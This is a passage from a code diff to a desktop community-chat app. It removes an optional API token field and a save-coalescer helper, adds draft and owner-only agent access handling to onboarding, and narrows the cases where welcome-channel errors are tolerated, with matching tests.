   onRedeem: (relayWsUrl: string, code: string, policyReceipt?: string) => void;
   placeholder?: string;
   variant?: "add-community" | "default" | "onboarding-spotlight";
@@ -76,8 +76,6 @@ export function InviteRedeemForm({
   const [bareCodeRelayUrl, setBareCodeRelayUrl] = React.useState(
     defaultRelayUrl ?? "",
   );
-  const [apiToken, setApiToken] = React.useState("");
-  const [showApiToken, setShowApiToken] = React.useState(false);
   const [joinPolicy, setJoinPolicy] = React.useState<JoinPolicy | null>(null);
   const [policyTarget, setPolicyTarget] = React.useState<{
     relayWsUrl: string;
@@ -158,7 +156,7 @@ export function InviteRedeemForm({
         try {
           const policy = await getJoinPolicy(normalizedRelayUrl, "native");
           if (!policy) {
-            onConnect?.(normalizedRelayUrl, apiToken.trim() || undefined);
+            onConnect?.(normalizedRelayUrl);
             return;
           }
 
@@ -187,7 +185,7 @@ export function InviteRedeemForm({
             return;
           }
 
-          onConnect?.(normalizedRelayUrl, apiToken.trim() || undefined);
+          onConnect?.(normalizedRelayUrl);
         } catch (policyFetchError) {
           setPolicyError(inviteErrorMessage(policyFetchError));
         } finally {
@@ -252,7 +250,6 @@ export function InviteRedeemForm({
     [
       ageConfirmed,
       agreementConfirmed,
-      apiToken,
       bareCodeRelayUrl,
       joinPolicy,
       normalizedRelayUrl,
@@ -469,55 +466,6 @@ export function InviteRedeemForm({
         </div>
       ) : null}
 
-      {isAddCommunity && normalizedRelayUrl ? (
-        showApiToken ? (
-          <div className="space-y-1.5 text-left">
-            <div className="flex items-center justify-between gap-3">
-              <label
-                className="text-sm font-medium text-foreground"
-                htmlFor="community-api-token"
-              >
-                API token
-                <span className="ml-1 text-xs font-normal text-muted-foreground">
-                  (optional)
-                </span>
-              </label>
-              <button
-                className="text-xs text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-hidden focus-visible:ring-1 focus-visible:ring-ring"
-                onClick={() => {
-                  setApiToken("");
-                  setShowApiToken(false);
-                }}
-                type="button"
-              >
-                Remove
-              </button>
-            </div>
-            <Input
-              autoComplete="off"
-              className="h-10 bg-background"
-              data-testid="community-api-token"
-              disabled={isRedeeming}
-              id="community-api-token"
-              onChange={(event) => setApiToken(event.target.value)}
-              placeholder="buzz_…"
-              type="password"
-              value={apiToken}
-            />
-          </div>
-        ) : (
-          <button
-            className="w-fit text-sm text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-hidden focus-visible:ring-1 focus-visible:ring-ring"
-            data-testid="community-api-token-reveal"
-            disabled={isRedeeming}
-            onClick={() => setShowApiToken(true)}
-            type="button"
-          >
-            Use an API token
-          </button>
-        )
-      ) : null}
-
       {policyError ? (
         <p className="text-center text-sm text-destructive">{policyError}</p>
       ) : null}
diff --git a/desktop/src/features/onboarding/ui/MachineOnboardingFlow.tsx b/desktop/src/features/onboarding/ui/MachineOnboardingFlow.tsx
index cee17c68f8..693d1af058 100644
--- a/desktop/src/features/onboarding/ui/MachineOnboardingFlow.tsx
+++ b/desktop/src/features/onboarding/ui/MachineOnboardingFlow.tsx
@@ -33,6 +33,7 @@ import {
 import { OnboardingFooterProvider } from "./OnboardingFooter";
 import { OnboardingSlideTransition } from "./OnboardingSlideTransition";
 import { SetupStep } from "./SetupStep";
+import type { DefaultConfigDraft } from "./types";
 
 export type MachineOnboardingPage =
   | "identity"
@@ -85,6 +86,8 @@ export function MachineOnboardingFlow({
     IdentityStorage | undefined
   >();
   const [readyRuntimeIds, setReadyRuntimeIds] = React.useState<string[]>([]);
+  const [defaultConfigDraft, setDefaultConfigDraft] =
+    React.useState<DefaultConfigDraft | null>(null);
   const [backupSubview, setBackupSubview] =
     React.useState<BackupSubview>("created");
   const [backupDirection, setBackupDirection] = React.useState<
@@ -381,8 +384,11 @@ export function MachineOnboardingFlow({
               actions={{
                 back: () => setPage("setup"),
                 complete: () => complete(selectedPubkey ?? undefined),
+                discardDraft: () => setDefaultConfigDraft(null),
+                updateDraft: setDefaultConfigDraft,
               }}
               direction="forward"
+              draft={defaultConfigDraft}
               readyRuntimeIds={readyRuntimeIds}
             />
           )}
diff --git a/desktop/src/features/onboarding/ui/saveCoalescer.test.mjs b/desktop/src/features/onboarding/ui/saveCoalescer.test.mjs
deleted file mode 100644
index 02e23c131f..0000000000
--- a/desktop/src/features/onboarding/ui/saveCoalescer.test.mjs
+++ /dev/null
@@ -1,242 +0,0 @@
-/**
- * Unit tests for the save coalescer helper.
- *
- * Each test controls the in-flight save duration with a deferred promise so
- * it can precisely verify interleaving: one edit during flight, multiple
- * overwrites, cancellation, etc.
- */
-import assert from "node:assert/strict";
-import test from "node:test";
-
-import { createSaveCoalescer } from "./saveCoalescer.ts";
-
-function deferred() {
-  let resolve;
-  let reject;
-  const promise = new Promise((res, rej) => {
-    resolve = res;
-    reject = rej;
-  });
-  return { promise, resolve, reject };
-}
-
-// Drain one microtask queue turn so the async drain() loop can advance.
-const tick = () => new Promise((r) => setTimeout(r, 0));
-
-test("saveCoalescer_single_edit_is_persisted_and_saved_is_applied", async () => {
-  const persisted = [];
-  const saved = [];
-
-  const coalescer = createSaveCoalescer(
-    async (v) => {
-      persisted.push(v);
-      return { ...v, fromServer: true };
-    },
-    () => {},
-    (v) => saved.push(v),
-  );
-
-  coalescer.enqueue({ model: "claude" });
-  await tick();
-  await tick();
-
-  assert.equal(persisted.length, 1);
-  assert.equal(persisted[0].model, "claude");
-  assert.equal(saved.length, 1);
-  assert.equal(saved[0].fromServer, true);
-});
-
-test("saveCoalescer_rapid_edits_coalesce_second_is_drained_after_first", async () => {
-  const d = deferred();
-  const persisted = [];
-
-  const coalescer = createSaveCoalescer(
-    async (v) => {
-      if (v.n === 0) await d.promise;
-      persisted.push(v.n);
-      return v;
-    },
-    () => {},
-    () => {},
-  );
-
-  coalescer.enqueue({ n: 0 });
-  // Second edit arrives while first save is still in flight.
-  coalescer.enqueue({ n: 1 });
-
-  d.resolve();
-  await tick();
-  await tick();
-
-  assert.deepEqual(persisted, [0, 1]);
-});
-
-test("saveCoalescer_three_rapid_edits_only_first_and_last_are_persisted", async () => {
-  const d = deferred();
-  const persisted = [];
-
-  const coalescer = createSaveCoalescer(
-    async (v) => {
-      if (v.n === 0) await d.promise;
-      persisted.push(v.n);
-      return v;
-    },
-    () => {},
-    () => {},
-  );
-
-  coalescer.enqueue({ n: 0 });
-  coalescer.enqueue({ n: 1 }); // overwritten before drain picks it up
-  coalescer.enqueue({ n: 2 }); // overwrites n:1
-
-  d.resolve();
-  await tick();
-  await tick();
-
-  // n:1 was never the pending value when the drain loop checked; only n:2.
-  assert.deepEqual(persisted, [0, 2]);
-});
-
-test("saveCoalescer_onSaved_suppressed_for_first_when_second_is_pending", async () => {
-  const d = deferred();
-  const savedCalls = [];
-
-  const coalescer = createSaveCoalescer(
-    async (v) => {
-      if (v.n === 0) await d.promise;
-      return v;
-    },
-    () => {},
-    (v) => savedCalls.push(v.n),
-  );
-
-  coalescer.enqueue({ n: 0 });
-  // Queue n:1 before n:0 resolves — onSaved for n:0 should be suppressed.
-  coalescer.enqueue({ n: 1 });
-
-  d.resolve();
-  await tick();
-  await tick();
-
-  // Only n:1 (the final save round) triggers onSaved.
-  assert.deepEqual(savedCalls, [1]);
-});
-
-test("saveCoalescer_isSaving_transitions_true_then_false", async () => {
-  const d = deferred();
-  const states = [];
-
-  const coalescer = createSaveCoalescer(
-    async (v) => {
-      await d.promise;
-      return v;
-    },
-    (s) => states.push(s),
-    () => {},
-  );
-
-  coalescer.enqueue({ n: 0 });
-  assert.deepEqual(states, [true]);
-
-  d.resolve();
-  await tick();
-  await tick();
-
-  assert.deepEqual(states, [true, false]);
-});
-
-test("saveCoalescer_flush_waits_for_the_latest_pending_save", async () => {
-  const d = deferred();
-  const persisted = [];
-
-  const coalescer = createSaveCoalescer(
-    async (v) => {
-      if (v.n === 0) await d.promise;
-      persisted.push(v.n);
-      return v;
-    },
-    () => {},
-    () => {},
-  );
-
-  coalescer.enqueue({ n: 0 });
-  coalescer.enqueue({ n: 1 });
-  let flushed = false;
-  const flush = coalescer.flush().then(() => {
-    flushed = true;
-  });
-  await tick();
-  assert.equal(flushed, false);
-
-  d.resolve();
-  await flush;
-  assert.deepEqual(persisted, [0, 1]);
-});
-
-test("saveCoalescer_flush_rejects_when_the_final_save_fails", async () => {
-  const coalescer = createSaveCoalescer(
-    async () => {
-      throw new Error("save failed");
-    },
-    () => {},
-    () => {},
-  );
-
-  coalescer.enqueue({ n: 0 });
-  await assert.rejects(coalescer.flush(), /save failed/);
-});
-
-test("saveCoalescer_cancel_prevents_onSaved_and_onSaving_false", async () => {
-  const d = deferred();
-  const states = [];
-  const savedCalls = [];
-
-  const coalescer = createSaveCoalescer(
-    async (v) => {
-      await d.promise;
-      return v;
-    },
-    (s) => states.push(s),
-    (v) => savedCalls.push(v),
-  );
-
-  coalescer.enqueue({ n: 0 });
-  coalescer.cancel();
-  d.resolve();
-  await tick();
-  await tick();
-
-  // After cancel, neither onSaved nor onSaving(false) fire.
-  assert.equal(savedCalls.length, 0);
-  assert.equal(states.includes(false), false);
-});
-
-test("saveCoalescer_save_error_does_not_call_onSaved_but_drains_pending", async () => {
-  const d = deferred();
-  const persisted = [];
-  const savedCalls = [];
-
-  const coalescer = createSaveCoalescer(
-    async (v) => {
-      if (v.n === 0) {
-        await d.promise;
-        throw new Error("network error");
-      }
-      persisted.push(v.n);
-      return v;
-    },
-    () => {},
-    (v) => savedCalls.push(v.n),
-  );
-
-  coalescer.enqueue({ n: 0 });
-  coalescer.enqueue({ n: 1 }); // pending while n:0 fails
-
-  d.resolve();
-  await tick();
-  await tick();
-
-  // n:0 errored — no onSaved for it; n:1 was drained and saved.
-  assert.deepEqual(persisted, [1]);
-  assert.deepEqual(savedCalls, [1]);
-});
diff --git a/desktop/src/features/onboarding/ui/saveCoalescer.ts b/desktop/src/features/onboarding/ui/saveCoalescer.ts
deleted file mode 100644
index f34327453c..0000000000
--- a/desktop/src/features/onboarding/ui/saveCoalescer.ts
+++ /dev/null
@@ -1,96 +0,0 @@
-/**
- * Creates an async save coalescer.
- *
- * When multiple calls to enqueue() arrive while a save is in flight, only
- * the latest enqueued value is submitted per drain round — no edit is
- * silently dropped and the final persisted state always reflects the most
- * recent local change.
- *
- * Lifecycle: call cancel() on unmount so in-flight saves do not invoke
- * callbacks after the owning component is gone. Call flush() before leaving
- * a surface that must guarantee its latest optimistic value was persisted.
- */
-export function createSaveCoalescer<T>(
-  save: (value: T) => Promise<T>,
-  onSaving: (isSaving: boolean) => void,
-  onSaved: (value: T) => void,
-): {
-  enqueue: (value: T) => void;
-  flush: () => Promise<void>;
-  cancel: () => void;
-} {
-  let pending: T | undefined;
-  let hasPending = false;
-  let running = false;
-  let cancelled = false;
-  let finalError: unknown;
-  let flushWaiters: Array<{
-    resolve: () => void;
-    reject: (error: unknown) => void;
-  }> = [];
-
-  function settleFlushWaiters() {
-    const waiters = flushWaiters;
-    flushWaiters = [];
-    for (const waiter of waiters) {
-      if (finalError === undefined) waiter.resolve();
-      else waiter.reject(finalError);
-    }
-  }
-
-  async function drain() {
-    while (hasPending) {
-      const toSave = pending as T;
-      hasPending = false;
-      pending = undefined;
-      try {
-        const saved = await save(toSave);
-        finalError = undefined;
-        // Apply backend response only when no newer local edit is pending —
-        // a stale response must never overwrite fresher optimistic state.
-        if (!cancelled && !hasPending) {
-          onSaved(saved);
-        }
-      } catch (error) {
-        finalError = error;
-      }
-    }
-    running = false;
-    if (!cancelled) {
-      onSaving(false);
-      settleFlushWaiters();
-    }
-  }
-
-  return {
-    enqueue(value: T) {
-      pending = value;
-      hasPending = true;
-      if (running) return;
-      running = true;
-      finalError = undefined;
-      onSaving(true);
-      void drain();
-    },
-    flush() {
-      if (!running) {
-        return finalError === undefined
-          ? Promise.resolve()
-          : Promise.reject(finalError);
-      }
-      return new Promise<void>((resolve, reject) => {
-        flushWaiters.push({ resolve, reject });
-      });
-    },
-    cancel() {
-      cancelled = true;
-      hasPending = false;
-      pending = undefined;
-      const waiters = flushWaiters;
-      flushWaiters = [];
-      for (const waiter of waiters) {
-        waiter.reject(new Error("Save cancelled"));
-      }
-    },
-  };
-}
diff --git a/desktop/src/features/onboarding/ui/types.ts b/desktop/src/features/onboarding/ui/types.ts
index 443a1f3f4e..5216bfefa4 100644
--- a/desktop/src/features/onboarding/ui/types.ts
+++ b/desktop/src/features/onboarding/ui/types.ts
@@ -1,4 +1,8 @@
-import type { AcpRuntimeCatalogEntry, Profile } from "@/shared/api/types";
+import type {
+  AcpRuntimeCatalogEntry,
+  GlobalAgentConfig,
+  Profile,
+} from "@/shared/api/types";
 
 export type OnboardingPage =
   | "profile"
@@ -62,9 +66,18 @@ export type SetupStepActions = {
   navigateToAgentSettings?: () => void;
 };
 
+export type DefaultConfigDraft = {
+  config: GlobalAgentConfig;
+  isCustomModelEditing: boolean;
+  isCustomProvider: boolean;
+  isDirty: boolean;
+};
+
 export type DefaultConfigStepActions = {
   back: () => void;
   complete: () => void;
+  discardDraft: () => void;
+  updateDraft: (draft: DefaultConfigDraft) => void;
 };
 
 export type SetupStepRuntimeState = {
diff --git a/desktop/src/features/onboarding/welcome.test.mjs b/desktop/src/features/onboarding/welcome.test.mjs
index 3a4321ce6f..1fff74234b 100644
--- a/desktop/src/features/onboarding/welcome.test.mjs
+++ b/desktop/src/features/onboarding/welcome.test.mjs
@@ -392,17 +392,45 @@ test("ensureOptionalWelcomeChannel reports unavailable on an owner-only relay",
   assert.equal(result.unavailableReason, OWNER_ONLY_RELAY_ERROR);
 });
 
-test("ensureOptionalWelcomeChannel reports unavailable for a non-Error rejection", async () => {
+test("ensureOptionalWelcomeChannel reports unavailable when the relay blocks the creator", async () => {
+  const blocked = "relay returned 403 Forbidden: blocked: pubkey is banned";
   const result = await ensureOptionalWelcomeChannel({
-    getChannels: async () => {
-      throw "relay offline";
+    getChannels: async () => [],
+    createChannel: async () => {
+      throw new Error(blocked);
     },
-    createChannel: async () => makeChannel(),
   });
 
   assert.equal(result.channel, null);
-  assert.equal(typeof result.unavailableReason, "string");
-  assert.ok(result.unavailableReason.length > 0);
+  assert.equal(result.unavailableReason, blocked);
+});
+
+test("ensureOptionalWelcomeChannel rethrows a transient channel read failure", async () => {
+  // Only an authorization refusal means the community offers no Welcome
+  // channel. Swallowing a transient read failure marked it settled forever and
+  // let first run seed the channel cache from a relay it never reached, which
+  // in turn made the community-destination repair trust a stale channel list.
+  await assert.rejects(
+    ensureOptionalWelcomeChannel({
+      getChannels: async () => {
+        throw new Error("temporary channel read failure");
+      },
+      createChannel: async () => makeChannel(),
+    }),
+    /temporary channel read failure/,
+  );
+});
+
+test("ensureOptionalWelcomeChannel rethrows a non-Error rejection", async () => {
+  await assert.rejects(
+    ensureOptionalWelcomeChannel({
+      getChannels: async () => {
+        throw "relay offline";
+      },
+      createChannel: async () => makeChannel(),
+    }),
+    (error) => error === "relay offline",
+  );
 });
 
 test("resolveWelcomeFocusChannelId prefers the private Welcome channel", () => {
diff --git a/desktop/src/features/onboarding/welcome.ts b/desktop/src/features/onboarding/welcome.ts
index 9e8317a6e2..70952894fa 100644
--- a/desktop/src/features/onboarding/welcome.ts
+++ b/desktop/src/features/onboarding/welcome.ts
@@ -262,10 +262,28 @@ export type OptionalWelcomeChannelResult =
   | { channel: null; unavailableReason: string };
 
 /**
- * Resolve the personal Welcome channel without letting its absence fail first
+ * A refusal means "this community does not offer a personal Welcome channel";
+ * anything else means "try again later". NIP-20 reserves `restricted:` and
+ * `blocked:` for authorization, and `channel_create_policy=owner-only` answers
+ * a member's create with `restricted: only workspace owners may create durable
+ * channels or forums` — surfaced as either `relay rejected event: …` or
+ * `relay returned 403 Forbidden: …`.
+ *
+ * The distinction is load-bearing: a transient channel read failure must stay
+ * an error, because tolerating it both marks the Welcome channel settled
+ * forever and lets first-run seed the channel cache from a relay we never
+ * actually reached.
+ */
+function isWelcomeChannelRefused(error: unknown): boolean {
+  const message = error instanceof Error ? error.message.toLowerCase() : "";
+  return message.includes("restricted:") || message.includes("blocked:");
+}
+
+/**
+ * Resolve the personal Welcome channel without letting a *refusal* fail first
  * run. Relays configured with `channel_create_policy=owner-only` reject the
  * create for every non-owner, so the private Welcome room is a nicety the
- * community may simply not offer.
+ * community may simply not offer. Transient failures still throw.
  */
 export async function ensureOptionalWelcomeChannel(
   client: WelcomeChannelClient,
@@ -274,6 +292,7 @@ export async function ensureOptionalWelcomeChannel(
   try {
     return { channel: await ensureWelcomeChannel(client, options) };
   } catch (error) {
+    if (!isWelcomeChannelRefused(error)) throw error;
     return {
       channel: null,
       unavailableReason:
diff --git a/desktop/src/features/onboarding/welcomeGuide.test.mjs b/desktop/src/features/onboarding/welcomeGuide.test.mjs
index b3def930f1..59af9c75d3 100644
--- a/desktop/src/features/onboarding/welcomeGuide.test.mjs
+++ b/desktop/src/features/onboarding/welcomeGuide.test.mjs
@@ -9,6 +9,8 @@ import {
   pickWelcomeGuideAgentForRelay,
   pickWelcomeTeamStarterAgentForRelay,
   welcomeStarterRuntimeUpdate,
+  welcomeTeammateAccessUpdate,
+  welcomeTeammateHasExpectedAccess,
   WELCOME_GUIDE_AGENT_NAME,
   WELCOME_GUIDE_PERSONA_ID,
   WELCOME_TEAM_ID,
@@ -379,3 +381,74 @@ test("starter matching prefers running, then deployed instances", () => {
     deployed,
   );
 });
+
+test("owner-only-access policy accepts local Welcome teammates", () => {
+  const teammate = makeAgent({
+    respondTo: "owner-only",
+    respondToAllowlist: [],
+  });
+  assert.equal(welcomeTeammateHasExpectedAccess(teammate, PUB_B, true), true);
+  assert.equal(welcomeTeammateHasExpectedAccess(teammate, PUB_B, false), false);
+});
+
+test("access remediation converges for an upgraded owner-only install", () => {
+  // Pre-existing installs allowlisted the lead. An owner-only build must move
+  // them to owner-only, and the write it makes must satisfy the predicate, so
+  // the next provisioning pass makes no further write.
+  const allowlisted = makeAgent({
+    respondTo: "allowlist",
+    respondToAllowlist: [PUB_B],
+  });
+  const update = welcomeTeammateAccessUpdate(allowlisted, PUB_B, true);
+  assert.deepEqual(update, {
+    pubkey: PUB_A,
+    respondTo: "owner-only",
+    respondToAllowlist: [],
+  });
+  const remediated = makeAgent({
+    respondTo: update.respondTo,
+    respondToAllowlist: update.respondToAllowlist,
+  });
+  assert.equal(welcomeTeammateHasExpectedAccess(remediated, PUB_B, true), true);
+  assert.equal(welcomeTeammateAccessUpdate(remediated, PUB_B, true), null);
+});
+
+test("access remediation allowlists the lead when the build is not owner-only", () => {
+  const ownerOnly = makeAgent({
+    respondTo: "owner-only",
+    respondToAllowlist: [],
+  });
+  const update = welcomeTeammateAccessUpdate(ownerOnly, PUB_B, false);
+  assert.deepEqual(update, {
+    pubkey: PUB_A,
+    respondTo: "allowlist",
+    respondToAllowlist: [PUB_B],
+  });
+  const remediated = makeAgent({
+    respondTo: update.respondTo,
+    respondToAllowlist: update.respondToAllowlist,
+  });
+  assert.equal(
+    welcomeTeammateHasExpectedAccess(remediated, PUB_B, false),
+    true,
+  );
+  assert.equal(welcomeTeammateAccessUpdate(remediated, PUB_B, false), null);
+});
+
+test("access remediation skips a teammate that already allows the lead", () => {
+  const allowlisted = makeAgent({
+    respondTo: "allowlist",
+    respondToAllowlist: [PUB_B, PUB_C],
+  });
+  assert.equal(welcomeTeammateAccessUpdate(allowlisted, PUB_B, false), null);
+});
+
+test("owner-only-access policy accepts provider Welcome teammates", () => {
+  const teammate = makeAgent({
+    backend: { type: "provider", id: "remote", config: {} },
+    respondTo: "owner-only",
+    respondToAllowlist: [],
+  });
+  assert.equal(welcomeTeammateHasExpectedAccess(teammate, PUB_B, true), true);
+  assert.equal(welcomeTeammateHasExpectedAccess(teammate, PUB_B, false), false);
+});
diff --git a/desktop/src/features/onboarding/welcomeGuide.ts b/desktop/src/features/onboarding/welcomeGuide.ts
index aa8deb7c19..82b6886d74 100644
--- a/desktop/src/features/onboarding/welcomeGuide.ts
+++ b/desktop/src/features/onboarding/welcomeGuide.ts
@@ -10,6 +10,7 @@ import {
   listManagedAgents,
   updateManagedAgent,
 } from "@/shared/api/tauri";
+import { getAgentAccessOwnerOnly } from "@/shared/api/tauriAgentAccess";
 import { getGlobalAgentConfig } from "@/shared/api/tauriGlobalAgentConfig";
 import { listPersonas, setPersonaActive } from "@/shared/api/tauriPersonas";
 import type {
@@ -17,6 +18,7 @@ import type {
   AgentPersona,
   CreateManagedAgentInput,
   ManagedAgent,
+  UpdateManagedAgentInput,
 } from "@/shared/api/types";
 import { normalizePubkey } from "@/shared/lib/pubkey";
 
@@ -260,6 +262,58 @@ export function welcomeStarterRuntimeUpdate(
   };
 }
 
+export function welcomeTeammateHasExpectedAccess(
+  teammate: ManagedAgent,
+  leadPubkey: string,
+  agentAccessOwnerOnly: boolean,
+) {
+  if (agentAccessOwnerOnly) {
+    // Welcome teammates are created owner-only, and the lead remains authorized
+    // as a NIP-OA-verified sibling because every Welcome agent shares one owner.
+    return (
+      teammate.respondTo === "owner-only" &&
+      teammate.respondToAllowlist.length === 0
+    );
+  }
+  return (
+    teammate.respondTo === "allowlist" &&
+    teammate.respondToAllowlist.some(
+      (pubkey) => normalizePubkey(pubkey) === normalizePubkey(leadPubkey),
+    )
+  );
+}
+
+/**
+ * The access write that moves a Welcome teammate to the state this build
+ * expects, or null when it is already there. The remediation target must track
+ * {@link welcomeTeammateHasExpectedAccess}: writing `allowlist:[lead]` in an
+ * owner-only build would fail the predicate again on the next provisioning
+ * pass, so an upgraded install with pre-existing allowlisted teammates would
+ * rewrite the same rejected state forever and keep restarting them.
+ */
+export function welcomeTeammateAccessUpdate(
+  teammate: ManagedAgent,
+  leadPubkey: string,
+  agentAccessOwnerOnly: boolean,
+): UpdateManagedAgentInput | null {
+  if (
+    welcomeTeammateHasExpectedAccess(teammate, leadPubkey, agentAccessOwnerOnly)
+  ) {
+    return null;
+  }
+  return agentAccessOwnerOnly
+    ? {
+        pubkey: teammate.pubkey,
+        respondTo: "owner-only",
+        respondToAllowlist: [],
+      }
+    : {
+        pubkey: teammate.pubkey,
+        respondTo: "allowlist",
+        respondToAllowlist: [leadPubkey],
+      };
+}
+
 /**
  * Ensure the complete built-in Welcome Team is ready for kickoff.
  * The team itself is Rust-seeded; this only activates personas, creates any
@@ -271,11 +325,13 @@ async function provisionWelcomeTeam(
 ): Promise<WelcomeTeamAgents> {
   const existingAgents = await listManagedAgents();
   await ensureWelcomeTeamPersonasActive();
-  const [personas, runtimeCatalog, globalConfig] = await Promise.all([
-    listPersonas(),
-    discoverAcpRuntimes(),
-    getGlobalAgentConfig(),
-  ]);
+  const [personas, runtimeCatalog, globalConfig, agentAccessOwnerOnly] =
+    await Promise.all([
+      listPersonas(),
+      discoverAcpRuntimes(),
+      getGlobalAgentConfig(),
+      getAgentAccessOwnerOnly(),
+    ]);
   const personasById = new Map(
     personas.map((persona) => [persona.id, persona]),
   );
@@ -322,17 +378,13 @@ async function provisionWelcomeTeam(
   const leadPubkey = lead.pubkey;
   for (const index of [1, 2] as const) {
     const teammate = welcomeAgents[index];
-    const alreadyAllowsLead =
-      teammate.respondTo === "allowlist" &&
-      teammate.respondToAllowlist.some(
-        (pubkey) => normalizePubkey(pubkey) === normalizePubkey(leadPubkey),
-      );
-    if (!alreadyAllowsLead) {
-      const updated = await updateManagedAgent({
-        pubkey: teammate.pubkey,
-        respondTo: "allowlist",
-        respondToAllowlist: [leadPubkey],
-      });
+    const accessUpdate = welcomeTeammateAccessUpdate(
+      teammate,
+      leadPubkey,
+      agentAccessOwnerOnly,
+    );
+    if (accessUpdate) {
+      const updated = await updateManagedAgent(accessUpdate);
       welcomeAgents[index] = updated.agent;
     }
   }
diff --git a/desktop/src/features/onboarding/welcomeKickoff.test.mjs b/desktop/src/features/onboarding/welcomeKickoff.test.mjs
index 6f472b8068..736721434a 100644
--- a/desktop/src/features/onboarding/welcomeKickoff.test.mjs
+++ b/desktop/src/features/onboarding/welcomeKickoff.test.mjs
@@ -199,6 +199,47 @@ test("running teammates restart when their allowlist does not include the lead",
   );
 });
 
+test("owner-only-access policy does not restart running local and provider teammates", () => {
+  for (const backend of [
+    { type: "local" },
+    { type: "provider", id: "remote", config: {} },
+  ]) {
+    assert.equal(
+      welcomeTeammateNeedsRestart(
+        {
+          ...honey,
+          backend,
+          status: "running",
+          needsRestart: false,
+          respondTo: "owner-only",
+          respondToAllowlist: [],
+        },
+        fizz.pubkey,
+        true,
+      ),
+      false,
+    );
+  }
+});
+
+test("owner-only-access policy still restarts running teammates for runtime changes", () => {
+  assert.equal(
+    welcomeTeammateNeedsRestart(
+      {
+        ...honey,
+        backend: { type: "local" },
+        status: "running",
+        needsRestart: true,
+        respondTo: "owner-only",
+        respondToAllowlist: [],
+      },
+      fizz.pubkey,
+      true,
+    ),
+    true,
+  );
+});
+
 test("opener keeps partial-readiness warm and mentions only online teammates", () => {
   const agentSet = { lead: fizz, teammates: [honey, bumble] };
   const introTeammates = selectWelcomeKickoffIntroTeammates(
diff --git a/desktop/src/features/onboarding/welcomeKickoff.ts b/desktop/src/features/onboarding/welcomeKickoff.ts
index 57352b5294..f46aeb3b21 100644
--- a/desktop/src/features/onboarding/welcomeKickoff.ts
+++ b/desktop/src/features/onboarding/welcomeKickoff.ts
@@ -5,6 +5,7 @@ import {
   useAcpRuntimesQuery,
   useManagedAgentsQuery,
 } from "@/features/agents/hooks";
+import { useAgentAccessOwnerOnlyQuery } from "@/features/agents/useAgentAccessOwnerOnly";
 import { useGlobalAgentConfig } from "@/features/agents/useGlobalAgentConfig";
 import { clearActiveTurnsForAgentOnStop } from "@/features/agents/managedAgentRuntimeHooks";
 import { useCommunities } from "@/features/communities/useCommunities";
@@ -15,6 +16,7 @@ import {
   pickWelcomeTeamStarterAgentForRelay,
   WELCOME_TEAM_STARTERS,
   type WelcomeTeamStarterDefinition,
+  welcomeTeammateHasExpectedAccess,
 } from "@/features/onboarding/welcomeGuide";
 import { isWelcomeChannel } from "@/features/onboarding/welcome";
 import { getThreadReference } from "@/features/messages/lib/threading";
@@ -358,13 +360,15 @@ async function markerExists(channelId: string, marker: string) {
 export function welcomeTeammateNeedsRestart(
   agent: ManagedAgent,
   leadPubkey: string,
+  agentAccessOwnerOnly = false,
 ) {
   return (
     agent.status === "running" &&
     (agent.needsRestart ||
-      agent.respondTo !== "allowlist" ||
-      !agent.respondToAllowlist.some(
-        (pubkey) => normalizePubkey(pubkey) === normalizePubkey(leadPubkey),
+      !welcomeTeammateHasExpectedAccess(
+        agent,
+        leadPubkey,
+        agentAccessOwnerOnly,
       ))
   );
 }
@@ -496,6 +500,8 @@ export function useWelcomeKickoff(
   const { activeCommunity } = useCommunities();
   const runtimesQuery = useAcpRuntimesQuery();
   const managedAgentsQuery = useManagedAgentsQuery();
+  const agentAccessOwnerOnlyQuery = useAgentAccessOwnerOnlyQuery();
+  const agentAccessOwnerOnly = agentAccessOwnerOnlyQuery.data;
   const { globalConfig, isLoading: configLoading } = useGlobalAgentConfig();
   const channelId = activeChannel?.id ?? null;
   const isActiveWelcome = isWelcomeChannel(activeChannel);
@@ -556,7 +562,8 @@ export function useWelcomeKickoff(
       !channelId ||
       !isActiveWelcome ||
       configLoading ||
-      runtimesQuery.isPending
+      runtimesQuery.isPending ||
+      agentAccessOwnerOnly === undefined
     ) {
       return;
     }
@@ -610,7 +617,11 @@ export function useWelcomeKickoff(
             );
             if (
               isTeammate &&
-              welcomeTeammateNeedsRestart(agent, resolvedAgentSet.lead.pubkey)
+              welcomeTeammateNeedsRestart(
+                agent,
+                resolvedAgentSet.lead.pubkey,
+                agentAccessOwnerOnly,
+              )
             ) {
               return restartWelcomeTeammate(agent, {
                 onStopped: () => clearActiveTurnsForAgentOnStop(agent.pubkey),
@@ -687,6 +698,7 @@ export function useWelcomeKickoff(
     })();
   }, [
     activeCommunity?.relayUrl,
+    agentAccessOwnerOnly,
     channelId,
     configLoading,
     isActiveWelcome,
diff --git a/desktop/src/features/profile/hooks.ts b/desktop/src/features/profile/hooks.ts
index 04546804eb..7a456fb259 100644
--- a/desktop/src/features/profile/hooks.ts
+++ b/desktop/src/features/profile/hooks.ts
@@ -5,7 +5,6 @@ import type {
 } from "@tanstack/react-query";
 import * as React from "react";
 import {
-  keepPreviousData,
   useInfiniteQuery,
   useMutation,
   useQuery,
@@ -41,6 +40,10 @@ import {
   shouldFetchAvatar,
   resolveAvatarDataUrl,
 } from "@/features/profile/lib/selfProfileStorage";
+import {
+  resolveUserLabelPlaceholderData,
+  writeCachedUserLabels,
+} from "@/features/profile/lib/userLabelStorage";
 import { useCommunities } from "@/features/communities/useCommunities";
 import { updateCachedChannelMemberDisplayName } from "@/features/channels/channelMemberProfileCache";
 
@@ -317,6 +320,8 @@ export function useUsersBatchQuery(
   },
 ) {
   const queryClient = useQueryClient();
+  const { activeCommunity } = useCommunities();
+  const relayUrl = activeCommunity?.relayUrl ?? "";
   const normalizedPubkeys = [
     ...new Set(pubkeys.map((pubkey) => pubkey.toLowerCase())),
   ]
@@ -352,6 +357,9 @@ export function useUsersBatchQuery(
       }
       if (toFetch.length > 0) {
         const fresh = await getUsersBatch(toFetch);
+        if (relayUrl) {
+          writeCachedUserLabels(relayUrl, fresh.profiles, fresh.missing);
+        }
         for (const pubkey of toFetch) {
           const summary = fresh.profiles[pubkey] ?? null;
           queryClient.setQueryData<UsersBatchEntry>(
@@ -367,7 +375,12 @@ export function useUsersBatchQuery(
     // Loading older messages grows the pubkey set, which changes this query's
     // key entirely. Without this, already-resolved authors would flash back
     // to their raw pubkey while the larger batch refetches.
-    placeholderData: keepPreviousData,
+    placeholderData: (previousData) =>
+      resolveUserLabelPlaceholderData(
+        previousData,
+        relayUrl,
+        normalizedPubkeys,
+      ),
